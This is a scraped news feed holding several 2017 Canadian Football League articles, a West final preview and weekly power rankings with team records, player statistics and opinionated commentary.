FBO CFL Eskimos Lions 20171021

Brandon Zylstra, right, has added options to the Edmonton offence. (Darryl Dyck/Canadian Press)

Gable is especially important because he has given Edmonton a threat on the ground, opening up opportunities downfield where — and this is perhaps the most important factor in Edmonton’s favour — he can find Brandon Zylstra, from that football hotbed Concordia College, Minn.

Zylstra has been a shock find for the Eskimos (No, you did not point to him in training camp and say “Hey, that second-year kid is going to be a star,”), coming off a 34-reception rookie year to grab 100 balls for 1,687 yards — best in the league.

“Oh yeah?,” you say. “Well what about Bo Levi Mitchell?”

That’s the problem right now in Calgary, a club that has lost three straight. Smarter men than I (ex-QBs on TV) say there’s something wrong — he may have been carrying an injury with him for a number of games. Speculation, but guys who played the position see things the rest of us don’t.

Bo is a superior pivot who is having a below par run of it. He’s fifth in QB rating, sixth in efficiency, sixth in TD/INT efficiency, is over 1,100 yards behind Reilly in total yards and his offence is dead last in the red zone (inside the opponent’s 20).

A note on that last point: strangely, the Eskimos are dead last in red zone defence. You could spend hours trying to work that one out.

How this can go wrong? Jerome Messam. The Calgary runner was third overall in yardage, and can go off at any time. Problem, however, is Edmonton held him to 144 on the ground over three games, or 48 per game.

The pick: Sounds crazy, but this smells like a big Edmonton victory.

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]]> https://briefnews.eu/cfl-playoffs-east-final-a-pick-em-but-eskimos-have-edge-in-west/feed/ 0 CFL Power Rankings: Eskimos hit playoffs in top spot https://briefnews.eu/cfl-power-rankings-eskimos-hit-playoffs-in-top-spot/ https://briefnews.eu/cfl-power-rankings-eskimos-hit-playoffs-in-top-spot/#respond Tue, 07 Nov 2017 12:13:11 +0000 http://briefnews.eu/cfl-power-rankings-eskimos-hit-playoffs-in-top-spot/ Here’s how I rank the Canadian Football League teams at the end of the 2017 regular season, with the playoffs opening this week.

  • Record: 12-6
  • Streak: Won 5
  • Next: West semifinal, at Winnipeg

After a brilliant start and a horrid middle, Green and White are coming into the playoffs playing the best football in the league. A strong outing vs. the Riders kept Edmonton from moving East for the playoffs, something nobody wanted because a cross-over team has never made it to the Grey Cup in 10 tries. Off to Winnipeg they go. The ferociousness that is Mike Reilly was on display once more, as he threw for 294 yards, including three for over 30. Most impressive was a 7.6-yard average on first down, keyed by C.J. Gable, who had 17 carries for 70 out of the backfield and another 55 catching passes. His addition at the trade deadline has done wonders for the balance of the attack. Defensively, they had the Riders under control all game. Three sacks.

Mike Reilly, Edmonton Eskimos run past Saskatchewan in season finale0:49

  • Record: 13-4-1
  • Streak: Lost 3
  • Next: Host West final

Coach Dave Dickenson has two weeks to work out what’s gone wrong with his formerly high-flying club. The Stamps haven’t played well in a month and have to get it together now with the West final ahead. In a 23-5 loss to Winnipeg, neither club sent its starting QB out, but being without Bo Mitchell is no excuse for giving up seven sacks, including four on Andrew Buckley, and three on Ricky Stanzi. Those two also combined for three picks. A strong sign, however, was the defence, one that gave up only nine points (the other 14 were on offensive turnovers), holding Winnipeg to just 186 net yards. No pressure on opposing pivot, however. The weather was awful, snow and minus-22C with the wind chill, so there’s some explanation for seven giveaways, including two fumbles, and two on downs.

  • Record: 12-6
  • Streak: Won 1
  • Next: West semifinal, vs. Edmonton

There was some confusion around coach Mike O’Shea’s choices for who played and who did not this week, though it’s easy to explain. QB Matt Nichols was kept out to rest his injured calf, and some felt RB Andrew Harris, who took a hit to the head the week before, might not go either. He said he was ready, and Winnipeg needed to win to play at home in the West semi this week. The attack was built around 24 rushing plays for 144 yards and just 17 passing attempts by Dan LeFevour, for 91. In freezing weather, that seemed just right. Still, 14 of the points earned came from a Brandon Alexander pick 6, and a forced fumble from Ian Wild that was picked up and run in. Now, get Matthews healthy because they cannot win without him.

Blue Bombers secure home playoff date with win over Stampeders1:09

  • Record: 10-8
  • Streak: Lost 1
  • Next: Crossover playoff, at Ottawa

Coach Chris Jones has a QB problem heading into the post-season. Neither of his pivots are as good as Ottawa’s Trevor Harris, or Ricky Ray in Toronto, so he’ll have to find other ways to challenge the home squads in the East. Kevin Glenn, who is the “starter” in as much as he starts the games but is pulled quickly, is playing as though the Sword of Damocles is hanging over his head. It is. This week he was 5-for-10, 63 yards, when pulled. Brandon Bridge has been coming along nicely for a young QB since getting regular playing time on Sept. 15, but he’s not there yet. With time to find receivers he was 12-for-18, 162 yards. Duron Carter had one catch for zero yards, four tackles on defence. Still the weirdest coaching decision seen in years.

  • Record: 8-9-1
  • Streak: Won 3
  • Next: Crossover playoff, vs. Saskatchewan

That ongoing storyline saying the easier route to the Grey Cup is through the East forgets a key point: two of the three hottest QBs in the league right now are waiting for the Roughriders when they get off the plane in Ottawa. The Redblacks’ Trevor Harris has come off the injury list to put in three good games in a row, tossing for almost 1,000 yards in that time. Playing this week is best for the Rollers so they wouldn’t go three weeks without a contest — especially important when you’re playing well. The Redblacks finished with the best offence, and best defence, in the East. Another key is the crowd support. When they get riled up, Ottawa is loud and excited.

Green-S.J.-11042017

Toronto Argonauts’ S.J. Green (19) celebrates with teammates during the first half on Saturday in Vancouver. The Argonauts pummelled the B.C. Lions 40-13 to close out the regular season and earn the right to host the East final in two weeks. (Chad Hipolito/The Canadian Press)

  • Record: 9-9
  • Streak: Won 2
  • Next: Host East final

Well, these guys are ready. The Ricky Ray show continued in B.C. where the Boatmen wrapped up first in the division and the right to host the East final. Under coach Marc Trestman (whose reputation as the “quarterback whisperer” took a bit of a hit when he ran into the uncoachable Jay Cutler in Chicago), Ray has found another gear at 37 years old. He went over 300 yards on 13 occasions, a career mark for the future Hall of Famer. His 5,546 yard season was second best for his 15-year CFL run. There were eight different receivers with catches this week. James Wilder Jr. had another huge outing, 224 total yards. And the defence was dominant with four picks and three sacks. Led at the top by GM Jim Popp, the Double Blue improved from 5-11 to 9-9 and are tough at home.

  • Record: 6-12,  missed playoffs

Kitties finished 6-4 after the 0-8 start and seemed to be coming into the off-season on a high note. Until a story a few days later quoted some players as saying they didn’t want Kent Austin, the GM and former coach, with the organization moving forward. Great. It’s important because there are some important cogs who could be free agents in February, most importantly QB Jeremiah Masoli. Counting this week’s strong outing in the blitz over Montreal, the fifth-year pro went 249-391, 3,177 yards, 15 TDs and only five picks. He took over as the full-time starter on Labour Day and won six games. Other big question is coach June Jones, who could be back with the right contract and more control over player moves.

Jeremiah Masoli leads Tiger-Cats to shutout of Alouettes in season finale1:06

  • Record: 7-11, missed playoffs

Most of the talk around the Lions this week had nothing to do with the final game, and much to do with what happens in the off-season. Rumours of the club’s sale have been going on far longer than it took to build the Lions Gate Bridge. (Actually, it only took 18 months to construct … this is way harder.) President/GM/Coach Wally Buono seemed to indicate in his closing presser that David Braley would still own the club next year, and also refused to say if he’d be coach or not. Attendance was down again this year, but you have to hand it to the 19,233 who came out on a Saturday when the Canucks were playing on the other side of the Georgia Viaduct. Thank you to Marco Iannuzzi, who retired after making the most of his talent for seven seasons.

  • Record: 3-15, missed playoffs

The only fight this club had in Week 20 came late when Cats’ Simoni Lawrence stole the quarterback’s little towel. Other than that, the Als perfectly fit the famous Dr. Seuss line, when describing The Grinch — “Stink, stank, stunk.” I would never accuse a pro player of quitting, but let’s say the boys weren’t performing at their emotional and physical limits in a 33-0 loss. Matt Shiltz started at pivot and put up a rating of 0.0 (7-for-16, 96 yards, three picks) before Pipkin took over in the fourth. They had nine first downs, l69 net yards total. Defence allowed 486 yards. There hasn’t been a team this bad in Montreal since the first year of the old Concordes in 1982. Good luck to the new coach, whomever it is. 

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]]> https://briefnews.eu/cfl-power-rankings-eskimos-hit-playoffs-in-top-spot/feed/ 0 CFL Power Rankings: Stamps lose top spot to rival Eskimos https://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/ https://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/#respond Tue, 31 Oct 2017 12:06:36 +0000 http://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/

Here’s how I rank the Canadian Football League teams heading into Week 20:

1. Edmonton Eskimos (up from 2)

  • Record: 11-6
  • Streak: Won 4
  • Next: At Saskatchewan

Green and Gold are in a unique position in if they can win this week (and Winnipeg loses) they’ll finish second, hosting a playoff game. Lose, however, and they’ll go east as the crossover team. No one wants to go east (West teams are 0-10 trying to make the championship that way), so the visit to Regina has big repercussions. Fortunately, this is the best team in the league right now, becoming healthier by the week and finding itself after that horrid six-game losing string. An impressive win over Calgary featured 392 yards net offence off 130 on the ground. Mike Reilly’s attack produced 11.2 yards per second-down play, a great number against anyone, but astounding against the Stampeder defence. So much rides on this last game and these guys look ready to face it.

Mike Reilly, Eskimos lick Stamps to stay in the hunt for 2nd place out West1:02

2. Calgary Stampeders (down from 1)

  • Record: 13-3-1
  • Streak: Lost 2
  • Next: Winnipeg

Missing group report. Family name: Calgary. Given name: Stampeders. Nicknames: White Stallions, Stamps. Age: 22-33 years. Height: 5-feet-10 to 6-feet-7. Weight: 180 to 330 pounds. Distinguishing marks: Red faces from having lost back to back for the first time in 103 games. Last seen playing well against B.C. on Sept. 16. John Hufnagel and Dave Dickenson are worried. Especially after losing to Edmonton this week and giving up almost 400 net yards.

3. Saskatchewan Roughriders (up from 4)

  • Record: 10-7
  • Streak: Won 2
  • Next: Edmonton 

When Chris Jones ran Toronto’s championship defence in 2012, one of his skills was identifying players near the end of their careers — or those who might have more to give than previously shown — and putting them in key spots. Robert McCune, Jordan Younger, Ahmad Carroll, would be examples. These skills were on display during this week’s game vs. Montreal as RB Trent Richardson, brought in from the NFL after two years without action, had 127 yards on 20 carries, and slot back Chad Owens had nine catches for 114 yards in just his second game of the season at the end of what’s been a brilliant career. They were needed as the attack struggled to finish, going 3-for-8 in the red zone. Usual WR Duron Carter played mostly defence, coming up with one catch and one defensive tackle. 

Alouettes fall to Roughriders, lose 10th straight game0:47

4. Winnipeg Blue Bombers (down from 3)

  • Record: 11-6
  • Streak: Lost 2
  • Next: At Calgary

Confirmed this week and suspected all season, is that the Big Blue have no chance without QB Matt Nichols. Depth at pivot should be dealt with in the off-season, but for now coach Mike O’Shea must keep his leader upright. Nichols went down with a non-contact calf problem in the second quarter vs. B.C., an injury he was apparently battling for a while, and his replacements were either not very good (Dom Davis, 7-for-12, 82 yards) or terrible (Dan LeFevour, 5-for-12, 42 yards and a 0.0 efficiency rating). Injuries are piling up, though if they can get receiver Darvin Adams back for the playoff game that would go a long way. And Justin Medlock went 7-for-7 in field goals, so he seems to be back. A win means second place and a week off for everyone to get healthy.

Jonathon Jennings, B.C. Lions maul Winnipeg Blue Bombers0:57

5. Ottawa Redblacks (unchanged)

  • Record: 8-9-1
  • Streak: Won 3
  • Next: Bye 

They did the job, won the game and it might not be the best thing that could have happened. Ottawa vaulted back into first place and kept alive a chance to host the East final. If Toronto loses this week, the Redblacks will have to wait more than three weeks for a one-game match to make the Grey Cup they are hosting. That’s too much. They opened poorly against Hamilton because of two weeks off, and by game’s end had five turnovers, most at crucial times. Then again, if Diontae Spencer can go off in the post-season the way he did vs. the Cats, it won’t matter. Spencer had 496 total yards (133 receiving, 363 returns), the best combined mark in CFL history, removing Albert Johnson’s 474 for Winnipeg 17 years ago. 

Powell’s late TD lifts Redblacks over Tiger-Cats1:07

6. Toronto Argonauts (unchanged, bye)

  • Record: 8-9
  • Streak: Won 1
  • Next: At B.C.

Last year’s ship sank under the weight of a 1-10 finish. This year’s could sail to first in the East and be just one win away from the Grey Cup game. A big turnaround indeed. There’s still a lot of work to do, however, if the Argos want 2017 to be memorable. First would be a win at B.C. on Saturday in the league’s final regular-season game. That requires two things: make sure the defence plays a full 60 minutes, and not 55; continue to put RB James Wilder Jr. in positions to pile up the yards from scrimmage, run or pass. Pull together, in other words. The offensive line has shown having a talented back behind it makes everyone better. You don’t have to pass block all day — exhausting in both mind and execution, as it leads to penalties. And they have this guy Ricky Ray at quarterback. 

7. B.C. Lions (up from 8)

  • Record: 7-10
  • Streak: Won 1
  • Next: Toronto

We’ve been saying all year: the only thing Jonathon Jennings needs is some help around him. This week against a wobbly Winnipeg defence, the Leo QB moved the offence along for 489 net yards, including 408 in the air. Five of those receptions were for 30 yards or more. B.C.’s stars were just that this week, including Chris Rainey, with 16 carries for 106 on the ground and another 89 by air, Bryan Burnham’s 152 catching and Manny Arceneaux with 101, were other keys. The Orange and Black kept the ball for 38:23, a total also credited to the defence. They saw Peg starter Matt Nichols leave, realized his backups were weak, and put the pressure on. Strange stat: Wally’s boys committed their first turnover in five games. You’d expect much worse from a seven-win club. 

8. Hamilton Tiger-Cats (down from 7) 

  • Record: 5-12
  • Streak: Lost 1
  • Next: Montreal

It matters not how well your offence plays, or how many turnovers you can cause (five against Ottawa), if your special teams are awful and you take too many penalties, there’s no chance. The Kitties allowed 375 yards in returns, wrecking solid outings by everyone else. The defence caused five giveaways, including three interceptions. It also allowed 471 net yards, most of it in scoring position because of the poor kick coverage. QB Jeremiah Masoli was right on his game, throwing for 438 yards and four TDs, while Brandon Banks had 13 snares for 193. Now, do you run Masoli out for the whole game next week, or do you split it with the former starter, and now backup, Zach Collaros? Do you do everything to win in order to take a good feeling into the off-season? Let’s see.

9. Montreal Alouettes (unchanged)

  • Record: 3-14
  • Streak: Lost 10
  • Next: At Hamilton 

If you cast around for anything positive to say about this year’s Skylarks, the eye falls on running back Tyrell Sutton, who has been nothing but reliable on the field. He carries, he catches, he blocks and he works hard. Montreal was awful again this week, but Sutton was able to move his totals to 1,155 rushing and catching over 2017. QB Darian Durant made his awaited return to Regina, where he played for 10 seasons and took the club to a Grey Cup in 2013. It would have been so much nicer if he had brought a team that could help. Durant was 9-for-20, 126 yards before leaving for backup Matt Shiltz, who wasn’t near as good as the week before, compiling just 47 yards on five completions. The Als also took 15 penalties, including nine on special teams. Awful. 

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]]> https://briefnews.eu/cfl-power-rankings-stamps-lose-top-spot-to-rival-eskimos/feed/ 0 CFL Power Rankings: Blue Bombers dethrone Eskimos https://briefnews.eu/cfl-power-rankings-blue-bombers-dethrone-eskimos/ https://briefnews.eu/cfl-power-rankings-blue-bombers-dethrone-eskimos/#respond Tue, 22 Aug 2017 03:04:29 +0000 http://briefnews.eu/cfl-power-rankings-blue-bombers-dethrone-eskimos/

Here’s how I rank the Canadian Football League teams heading into Week 10:

  • Record: 6-2
  • Streak: Won 4
  • Next: at Montreal

Per Ardua ad Astra, meaning “Through adversity to the stars,” was the traditional latin motto for the Royal Canadian Air Force; after this week, the Bombers may not have reached the stars yet, but adversity seems to be safely behind them. QB Matt Nichols knew he had to keep producing points after a 17-3 opening half lead against the Eskimos, and understood where to go for it. This was the Andrew Harris Show, in front of an appreciative audience of more than 30,000. An 11 carry, 105-yard effort on the ground would have been strong, but he also had eight catches for 120 yards. Nichols (80 per cent completion rate, 180 yards after catch by the receiving corps) could go anywhere he wanted with everyone keying on the running back, and he did for an astonishing 538 total yards. Good times off Kenny Ploen Way. Will these heights make Big Blue dizzy?

Game Wrap: Blue Bombers hand Eskimos first loss of season1:53

  • Record: 6-1-1
  • Streak: Won 4
  • Next: vs. Toronto

On a night when the defences kicked the snot out of each other for 60 minutes, the game went to the team that made the fewest small errors. It didn’t look that way on the first play from scrimmage when QB Bo Mitchell found Marken Michel behind the B.C. secondary and the receiver flat out dropped it. An early score might have changed the look of the whole contest, instead the Stamps had to claw and scratch for everything. Mitchell was only 15-for-31, 237 yards, though two were for more than 30-yard gains and that helped kicker Rene Paredes, who was 5-for-5 on field goals. LB Alex Singleton was terrific with eight tackles, a quarterback pressure and a key interception. Far too many penalties, 15 for 150 yards. Can’t do that often in the West.

Stampeders defeat Lions, move to 2nd in West1:01

  • Record: 7-1
  • Streak: Lost 1
  • Next: vs. Saskatchewan

Winning streak is over, there are more injuries to deal with and the aircraft broke so everyone had to stay in Winnipeg an extra night. This loss has been building for some weeks as too many penalties, trouble finishing drives and a lot of pressure on the defenders to hold while the attack worked things out finally caught up against the Bombers. While QB Mike Reilly’s offence had nothing in the first half and improved in the second, the defence was bad all evening. You can’t give up 538 net yards and expect to win. That’s poor. Six more injuries this week is no excuse for taking three flags for too many men. Coach Jason Maas now has something to kick his about about at practice. A good thing. 

  • Record: 5-4
  • Streak: Lost 2
  • Next: at Ottawa

When your defence plays well, it behooves an offence to provide some points and not make crucial errors. This did not happen at home vs. Calgary where the Leos rolled out without Bryan Burnham and Nick Moore (1,002 yards between them) to catch ball — a difficult hill to climb. They might have made it if not for a bungled route in the final seconds that brought the ball up a yard short on third down and desperation. QB Jonathon Jennings (26-38, 240 yards 1 TD, 2 picks, sacked twice) didn’t have much for three quarters. The defenders held Calgary to just one TD, turning five good Stamps’ drives into field goals instead. Solomon Elimimian continued his drive for the Hall of Fame with 10 total tackles, three of them for loss. Coach Wally Buono was angry with his offence afterwards. Improvement needed. 

  • Record: 3-4
  • Streak: Won 1
  • Next: at Edmonton

If you want to convince people the West race includes five teams, then the goal for the Riders this week is to win a divisional game on the road. Rob Vanstone, of the Leader-Post, pointed out that since the last road victory at Winnipeg (Sept. 7, 2014), there have been three solar eclipses. So shine a little light on the fan base by taking advantage of an injury depleted Edmonton side that just lost for the first time and really hasn’t played well for three weeks. This can happen if the defence plays as it did in the blowout of B.C. prior to the bye. QB Kevin Glenn needs a game plan that features another balanced attack. If the Green and White are still in the race after the next three (Edmonton, two with Winnipeg), they’ll have to be taken seriously. 

  • Record: 4-5
  • Streak: Won 1
  • Next: at Calgary

Before we get to QB Ricky Ray and receiver S.J. Green, let’s praise the defence. Over the final six quarters of the back- to-back vs. Montreal, Corey Chamblin’s group allowed just three points. This week, they gave up only nine first downs and 138 yards net. This is a team with six good defensive linemen to choose from that only rushes the front four most of the time and still clouted the opposition for three sacks and 13 quarterback pressures. How does Ray’s 35-43, 377 yards and four TDs catch your fancy against a good defence? Green had nine catches for 145 yards, many of the snags at the top of a vertical leap to beat the secondary. Ray has now thrown 100 TD passes for Toronto (on top of 210 with Edmonton). No other pivot in league history has topped 100 with two teams. 

Game Wrap: Ricky Ray returns and leads Argos to top spot in East over Al’s2:12

  • Record: 3-5
  • Streak: Lost 1
  • Next: vs. Winnipeg

Skylark’s offence has flown the coop, as it were. (I’m here every week). Or another way, the Alouettes’ defence has outscored their offence 6-3 in the last six quarters. Fortunately the club came out of the home and home with Toronto 1-1, still second in the East. Darian Durant led one decent drive all night, an 11 play effort that ended in a bad interception on the Argo one-yard line. After that, zero. Their six points were from the defence. While the offensive problem is bad, what happened to the defenders this week was a shock. They had no pressure at all on Ricky Ray, to the point he was left in there the entire game despite a huge lead because nobody thought he was in any danger. They were right. Regroup for red-hot Winnipeg, at home. Cohérence, please. 

  • Record: 2-6-1
  • Streak: Won 1
  • Next: vs B.C.

Those wondering what beating a terrible team such as Hamilton actually tells you about the Redblacks are wandering through the wrong forest. It’s a win. Ottawa has five points, one back of second place Montreal, though the Als have a game in hand. QB Trevor Harris completed 36 for 394 yards and produced 418 net. Receivers Greg Ellingson (155 yards) and Brad Sinopoli (78 yards) came through and kicker Brett Maher nailed six field goals on six tries. Bothersome information? Two long drives totalling 22 plays in the opening half produced just two three-pointers, so finishing drives remains concerning. Defensively, allowing just 206 net was excellent for this group, and they produced a major of their own on a fumble recovery. After B.C. this week, it’s three straight in the East. 

Game Wrap: Tiger-Cats fall to Redblacks, losing streak reaches 82:05

  • Record: 0-8
  • Streak: Lost 8
  • Next: Bye

At some point this week, one wouldn’t have been surprised if the entire offence stood up and yelled “Hey Laaaaeeeddddyyy!!!”* Down 18-10 late in the third vs. Ottawa, Cats ran a nice misdirection, bringing Jeremiah Masoli in to QB second and one. Instead of a dive play, he found a streaking Brandon Banks behind the defence and put a pretty pass into the receiver’s hands. Bobble. Drop. About five minutes later, the Kitty D let Greg Ellingson behind them on the last play of the third … caught … touchdown. Game. Awful. They had 12 first downs. Neither starter Zach Collaros, nor Masoli, could get anything going. The defence tried, but was out there for 73 plays against Ottawa’s 44. With NFL teams cutting down you may see new names for the Labour Day game vs. Toronto.

*In loving tribute to the great comedian, director and philanthropist Jerry Lewis. 

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]]> https://briefnews.eu/cfl-power-rankings-blue-bombers-dethrone-eskimos/feed/ 0 CFL Power Rankings: Bombers soar into showdown vs. unbeaten Eskimos https://briefnews.eu/cfl-power-rankings-bombers-soar-into-showdown-vs-unbeaten-eskimos/ https://briefnews.eu/cfl-power-rankings-bombers-soar-into-showdown-vs-unbeaten-eskimos/#respond Tue, 15 Aug 2017 18:53:09 +0000 http://briefnews.eu/cfl-power-rankings-bombers-soar-into-showdown-vs-unbeaten-eskimos/

Here’s how I rank the Canadian Football League teams heading into Week 9:

  • Record: 7-0
  • Streak: Won 7
  • Next: at Winnipeg

When the offence shut down at Ottawa, the defence went into shutdown mode. Thus, a team-record seven straight victories to start the season. Considering the honoured history of this franchise, that’s saying something. QB Mike Reilly was the story on this night, completing 27 passes for 384 yards and running 11 times for 51 more. The latter might not thrill coach Jason Maas, who wants a healthy pivot, but it’s exciting for everyone else. RB Ladarius Perkins, the third at that position this year due to injury, ran for 51 yards, caught for 56 and opened the game with a nice rumble into the end zone off a Reilly delivery. After Ottawa went up in the third quarter, the defenders gave up nothing more. Great night of kicking from Hugh O’Neill. Love the no long beard look.

Game Wrap: Eskimos defeat Redblacks to remain perfect1:21

  • Record: 5-1-1
  • Streak: Won 3
  • Next: at B.C.

The red-hot West mostly turns within itself over the next six weeks as we head towards the Labour Day weekend classics and the real race for the line. It’s hard to bet against the White Stallions through that stretch because they have the top offence, the best defence and a balanced attack that can hit you by land and air. This week’s stats show the top four running teams in the league are Edmonton, Calgary, B.C., and Montreal. There is a lesson there — these days, winning means you have to run and pass. Coming out of the bye we find that Lemar Durant, who has had a great first seven games, is now out indefinitely at receiver thanks to an ACL injury. Canadian DT Junior Turner is set to return from his own hurts and that helps the National-International balance.

  • Record: 5-2
  • Streak: Won 3
  • Next: vs. Edmonton

Rollin’, rollin’, rollin’ … see Big Blue a-rollin’. A little Frankie Laine as the Bombers have the rawhide in their teeth, staying right in the herd out in the ol’ West. QB Matt Nicholls said following the win in Hamilton the key moving ahead was “playing our game.” Edmonton is up this week so they’d better be ready with a good one as Peg is only 1-2 in its own division, 4-0 vs. the East. Nicholls went 25-for-35, 267 yards and two majors, helped tremendously again by RB Andrew Harris, who carried 14 times for 107. A concern moving ahead is that super leg Justin Medlock had another six field goals (including a massive 57-yarder), one week after pounding half a dozen. That means 12 drives have come up short in two games. Can’t do that against the other top-division teams and expect to win.

Game Wrap: Winless Tiger-Cats no match for Winnipeg Blue Bombers1:46

  • Record: 5-3
  • Streak: Lost 1
  • Next: vs. Calgary

Wally knows. This is why he’s a legend. Coach Buono was seen in the dressing room before the Rider game giving everyone that “I’m seriously disappointed” look because his Leos were not paying attention. Out they went to be spanked by 33 points. B.C. came in all hat and no cattle, convinced last week’s domination of the green and white meant the return match was in the saddle bags. They were awful. As in only 14 first downs, five picks and seven total giveaways awful. Embarrassed on national television awful. Favourite stat on the game was six penalties taken on special teams, including three on coverage and three on return. Just not there. They will bounce back for this week against Calgary at home. Because Wally knows what to do next.

  • Record: 3-4
  • Streak: Won 1
  • Next: Bye

Sing a song of Ed Gainey, his pocket full of picks. Four of them, as a matter of fact, including one run back for a touchdown in the rout of the Lions. Those four were a team record, and only nine players in league history have done it. The defence came out roaring, picking up four sacks, 14 quarterback pressures (B.C. had  two), 12 hits on the opposing pivots and six total interceptions. Quarterback Kevin Glenn, whom a few of the under-informed calling into local sports radio wanted to run out of town on a CP rail after last week, ran a tight and balanced offence, threw for 320 yards (including a trio of more than 30 yards) and three TDs. They caught the Leos on a siesta, so let’s not send these guys to the playoffs yet. They are, however, back in the hunt.

Game Wrap: Roughriders trample over BC Lions2:07

  • Record: 3-4
  • Streak: Won 1
  • Next: at Toronto

Larks are tied for first in the East with a game in hand, feature the second-best defence by points allowed in the league and are the only team to have beaten Calgary. On the other hand, they struggled in the second half of their win over Toronto, coming up with just three points, and allowed two long Argo drives that turned out alright due to bad penalties by the visitors. And they gave up 173 yards on the ground, so the tackling has to be better in the rematch this week. QB Darian Durant was 18-for-27, 237 yards, two TDs and zero picks. Only 77 of those yards were in the second half. LB Kyries Hebert had eight tackles and played well, but that hit to the head on QB Cody Fajardo at a key moment was selfish. Could have turned the game. Best team in the East right now.

Game Wrap: Alouettes beat Argonauts, move to 1st in East1:22

  • Record: 3-5
  • Streak: Lost 3
  • Next: vs. Montreal

Without injured QB Ricky Ray, the Double Blue offence had trouble moving the ball all night but still could have provided enough to beat Montreal if they hadn’t insisted on defeating themselves. Cody Fajardo replaced Jeff Mathews under centre to start the second half and the ball began moving. Slowly, but it was moving. A 14-play, 83-yard drive came up short when the Argos were caught without an end. Turnover on downs. A 13-play, 57-yarder for a TD came back on illegal hands to the face. Zero points. And there was a dropped pass for a touchdown as well. Who starts this week? Says Fajardo here if Ray can’t go, and we’d be surprised if Old No. 15 can. Defence was very good despite spending most of the first half on the field. Return match is a showdown for first place.

  • Record: 1-6-1
  • Streak: Lost 3
  • Next: at Hamilton

Retired QB Henry Burris said last week the problem with the RBs is they’ve lost so much leadership since the Grey Cup team. More like they’ve lost so much talent, especially at receiver, where the best five-man catching staff in the league is now simply average. That leaves QB Trevor Harris with much less choice than the last two years. They have two of them left in Greg Ellingson and Brad Sinopoli, who are doing well. Up a single point in the third against Edmonton, Ottawa produced four punts and a last-second desperation pick to the final gun. The ball never advanced further than their own 36. Tackling: Add 102 yards rushing allowed to a terrible 155 yards after the catch given up and that’s 257 you can improve on simply by bringing people down.

  • Record: 0-7
  • Streak: Lost 7
  • Next: vs. Ottawa

If you aren’t going to protect QB Zach Collaros, you can’t expect him to be successful. Simple statement. Difficult to fix. Five sacks this week by Winnipeg, plus 10 pressures, is not optimal. That’s 15 times he was under fire on a night when the Kitties only ran 44 plays (or 33 per cent). June Jones has been added to the coaching staff and there’s word he will start calling plays this week. A quick positive change would be running the ball, something head coach Kent Austin has been forever loathe to do. Those five sacks took 59 yards off the overall net, leaving 188. On the other side of the ground game, the defence allowed 396 net and 27 first downs. This is the fourth-worst start in team history (worst was 0-12 in 2003), but the fans are hanging in right.  

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]]> https://briefnews.eu/cfl-power-rankings-bombers-soar-into-showdown-vs-unbeaten-eskimos/feed/ 0 CFL Power Rankings: Trio of receivers has Eskimos flying high https://briefnews.eu/cfl-power-rankings-trio-of-receivers-has-eskimos-flying-high/ https://briefnews.eu/cfl-power-rankings-trio-of-receivers-has-eskimos-flying-high/#respond Tue, 01 Aug 2017 04:44:11 +0000 http://briefnews.eu/cfl-power-rankings-trio-of-receivers-has-eskimos-flying-high/

Here’s how I rank the Canadian Football League teams heading into Week 7:

1. Edmonton Eskimos (unchanged)

  • Record: 5-0
  • Streak: Won 5
  • Next: Hamilton

You can always count on Edmonton to feature talented receivers, and this season is no exception. In the victory over B.C., one that wasn’t as close as it seemed, three of them went over 100 yards. Brandon Zylstra (seven catches, 107 yards) is now at 516 yards for the season in just five games. Duke Williams, who has the vertical leap of an Olympic volleyball strong-side attacker, had 104 yards of his own, while Vidal Hazelton grabbed eight for 159 from QB Mike Reilly. Remember, this is an offence with Adarius Bowman, the league’s best catcher, on the six-game injured list. Great game. NOTE: Coach’s challenges at 13:37, 12:48, 12:17 and 10:38 of the fourth quarter this week slowed a fine football game to a crawl. This has to stop. Automatic replay on all scoring plays and one challenge a game per coach. Period.

Game Wrap: Eskimos beat Lions to remain undefeated1:36

2. Calgary Stampeders (up from 3)

  • Record: 4-1-1
  • Streak: Won 2
  • Next: At Toronto

While everyone was counting points in a record 60-1 victory vs. Hamilton, we were counting the passage of years since a Canadian quarterback has shown he might one day be a starter in this league. Coaches have said since Russ Jackson retired in 1969 that not having a Canuck at the controls was simply because ours weren’t good enough. Enter Calgary-born Andrew Buckley, who played the entire second half as coach Dave Dickenson emptied his bench in the destruction of the Cats. Buckley went 10 for 10, 106 yards, a touchdown, no picks, and 10 yards running. He showed poise, a power arm, good legs. In other news, QB Bo Mitchell and his attack are ready to match anyone in the tough West, and the defence seems pretty good. Get your tickets now.

Game Wrap: Stampeders trample Tiger-Cats in record setting beat down1:30

3. B.C. Lions (down from 2)

  • Record: 4-2
  • Streak: Lost 1
  • Next: Saskatchewan

The Travis Lulay story has been a good one since he came in for injured Jonathon Jennings three games ago. However, six interceptions vs. seven touchdowns is a worry. Take this week at Edmonton when a flutter ball in the direction of Bryan Burnham in the first half was picked. Two plays later, Edmonton hit for a 108-yard pass and run that featured two key missed tackles. Not long after, the Lions down 17-3, Lulay threw another pick before settling in and tying the game up in the third. But a long kickoff return followed by a big touchdown drive on the next series put Lulay and the Lions right back down nine. So there are things to fix for Wally Buono.

4. Winnipeg Blue Bombers (unchanged)

  • Record: 3-2
  • Streak: Won 1
  • Next: At Ottawa

Note to all those Winnipeg fans who gave up when any reasonable person might have done the same: That’ll teach you. Big Blue was on its way to Big Bust before this year’s version of The Comeback appeared. As much of the 25,931 listened on their car radios, or watched on their phones, QB Matt Nichols completed two long drives in 2:18, including a recovered on-side kick, for a marvelous victory. Nichols also fooled the referee by ducking his head into a sack that resulted in a key roughing call. That’s literally putting your life on the line for the win. Much credit to RB Andrew Harris, who piled up 41 yards on the ground and 93 in the air, before driving into the end zone on the final play for two big points in the standings.

Game Wrap: Blue Bombers rally to beat Alouettes1:51

5. Toronto Argonauts (unchanged)

  • Record: 3-3
  • Streak: Lost 1
  • Next: Calgary

Argos did not lose this game in Regina because defender Johnny Sears lost his mind for a moment. It was, however, a bone-headed decision to let an untouched receiver up and try to strip the ball when merely touching him would have meant a punt. (Second week in a row they’ve let a guy get up.) This led to a Rider touchdown that put the contest away. Toronto had already made enough mistakes to deserve losing the two-points, however. Ricky Ray (Look out! Sack!) was over 300 yards (Sack!) for the sixth straight game (Sack!), the best in his career (Sack!), despite being pounded (Sack!) all night. He’s gone down 17 times this season, tied with B.C. for worst. Cannot continue. Defensively, the front seven allowed too much on the ground and the secondary was porous.

